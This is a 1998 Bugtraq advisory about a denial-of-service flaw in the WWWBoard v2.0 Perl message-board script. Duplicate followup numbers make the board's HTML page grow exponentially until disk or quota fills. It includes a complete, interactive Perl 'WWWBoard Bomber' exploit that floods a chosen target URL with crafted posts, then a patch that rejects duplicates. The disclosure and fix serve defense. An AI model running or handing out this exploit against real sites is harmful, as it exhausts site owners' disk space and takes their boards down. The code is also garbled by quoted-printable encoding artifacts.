[8461] in bugtraq
WWWBoard Vulnerability
daemon@ATHENA.MIT.EDU (Samuel Sparling)
Mon Nov 9 14:42:55 1998
Date: Mon, 9 Nov 1998 09:01:21 -0800
Reply-To: Samuel Sparling <sparling@SLIP.NET>
From: Samuel Sparling <sparling@SLIP.NET>
To: BUGTRAQ@NETSPACE.ORG
Recently, many vulnerabilities have been found in the popular "WWWBoard
v2.0 ALPHA" script written by Matt Wright, this is yet another. When th=
e
followup value in a form posted to the WWWBoard script contains the sam=
e
post number twice, the script follows up to that post twice, even print=
ing
the number of followups to a particular post (on the wwwboard.html file=
)
multiple times. This exploit does even one better than just 'messing up=
'
the board, if done severly enough, it can cause the wwwboard.html file =
to
become hundreds of megabytes in size. It appears that the number of
followups shown on the main page (if there's three, it'd look like "(3)=
")
increases exponentially with this flaw, such that posting a followup va=
lue
of say "5,5,5" 2 times would make (2) appear as the followup value, but=
it
would appear 9 times. From the best I can tell, the number of followups=
you
have that are the same (like "3,3,3,3,3" would have 5) is the number of
times the followup value will appear on the wwwboard.html page, and if =
you
post the same twice, it does that number to the second power, and thric=
e
does to the third power, etc. (whereas if you post "3,3,3,3,3" once, it=
'll
have 5 followup numbers, if you post it twice, it'll have 25, if you po=
st
it three times, it'll have 125, post it ten times and it'll show 9,765,=
625
times, twelve times 244,140,625, thirteen times 1,220,703,125, etc.) A=
nd
even though it appears that only three bytes "(X)" are added for each
followup value you see, there are comments in the HTML making it appear=
as
"(<!--responses: 3-->5)" in the html source if there's 5 followups to
message 3.
As that shows, this can cause much more damage than just a simple
annoyance. This flaw could easilly be exploited to the point where a us=
ers
quota is maxed out, or even to the point where the web server runs out =
of
disk space. Below is an exploit script, and a patch to fix the wwwboard=
.pl
script.
Samuel Sparling
Here is an example perl script to exploit this flaw:
#!/usr/bin/perl
###################################################
#
# WWWBoard Bomber Exploit Script
# Written By: Samuel Sparling (sparling@slip.net)
#
# Written to exploit a flaw in the WWWBoard script
# by Matt Wright.
#
# Copyright =A9 1998 Samuel Sparling
# All Rights Reserved.
#
# Written 11-04-1998
###################################################
use Socket;# Tell perl to use the socket module
# Change this if the server you're trying on uses a different port for =
http
$port=3D80;
print "WWWBoard Bomber Exploit Script\n\n";
print "WWWBoard.pl URL: ";
$url=3D<STDIN>;
chop($url) if $url =3D~ /\n$/;
print "Name: ";
$name=3D<STDIN>;
chop($name) if $name =3D~ /\n$/;
print "E-Mail: ";
$email=3D<STDIN>;
chop($email) if $email =3D~ /\n$/;
print "Subject: ";
$subject=3D<STDIN>;
chop($subject) if $subject =3D~ /\n$/;
print "Message: ";
$message=3D<STDIN>;
chop($message) if $message =3D~ /\n$/;
print "Followup Value: ";
$followup=3D<STDIN>;
chop($followup) if $followup =3D~ /\n$/;
print "Times to Post: ";
$stop=3D<STDIN>;
chop($stop) if $stop =3D~ /\n$/;
# Chop the URL into peices to use for the actual posting
$remote =3D $url;
$remote =3D~ s/http\:\/\///g;
$remote =3D~ s/\/([^>]|\n)*//g;
$path =3D $url;
$path =3D~ s/http\:\/\///g;
$path =3D~ s/$remote//g;
$forminfo =3D
"name=3D$name&email=3D$email&followup=3D$followup&subject=3D$subject&bo=
dy=3D$message";
$forminfo =3D~ s/\,/\%2C/g;# Turn comas into %2C so that they c=
an be posted.
$forminfo =3D~ tr/ /+/;
$length =3D length($forminfo);
$submit =3D "POST $path HTTP/1.0\r\nReferer: $url\r\nUser Agent=
:
Mozilla/4.01 (Win95; I)\r\nContent-type:
application/x-www-form-urlencoded\r\nContent-length:
$length\r\n\r\n$forminfo\r\n";
$i=3D0;
while($i < $stop)
{
&post_message;
$i++;
print "$i message(s) posted.\n";
}
sub post_message
{
if ($port =3D~ /\D/) { $port =3D getservbyname($port, '=
tcp'); }
die("No port specified.") unless $port;
$iaddr =3D inet_aton($remote) || die("Failed to find ho=
st: $remote");
$paddr =3D sockaddr_in($port, $iaddr);
$proto =3D getprotobyname('tcp');
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die("Fail=
ed to open socket:
$!");
connect(SOCK, $paddr) || die("Unable to connect: $!");
send(SOCK,$submit,0);
while(<SOCK>) {
#print $_;# Uncomment for debugging if you have=
problems.
}
close(SOCK);
}
exit;
Below is the patch, all it does is check to make sure that the same
followup number is not used more than once in the followups form field.
In the get_variables subroutine replace this:
if ($FORM{'followup'}) {
$followup =3D "1";
@followup_num =3D split(/,/,$FORM{'followup'});
$num_followups =3D @followups =3D @followup_num;
$last_message =3D pop(@followups);
$origdate =3D "$FORM{'origdate'}";
$origname =3D "$FORM{'origname'}";
$origsubject =3D "$FORM{'origsubject'}";
}
with this:
if ($FORM{'followup'}) {
$followup =3D "1";
@followup_num =3D split(/,/,$FORM{'followup'});
$num_followups =3D @followups =3D @followup_num;
$last_message =3D pop(@followups);
$origdate =3D "$FORM{'origdate'}";
$origname =3D "$FORM{'origname'}";
$origsubject =3D "$FORM{'origsubject'}";
# WWWBoard Bomb Patch
# Written By: Samuel Sparling (sparling@slip.net)
$fn=3D0;
while($fn < $num_followups)
{
$cur_fup =3D @followups[$fn];
$dfn=3D0;
foreach $fm(@followups)
{
if(@followups[$dfn] =3D=3D @followups[$fn] && $=
dfn !=3D $fn)
{
&error(board_bomb);
}
$dfn++;
}
$fn++;
}
# End WWWBoard Bomb Patch
}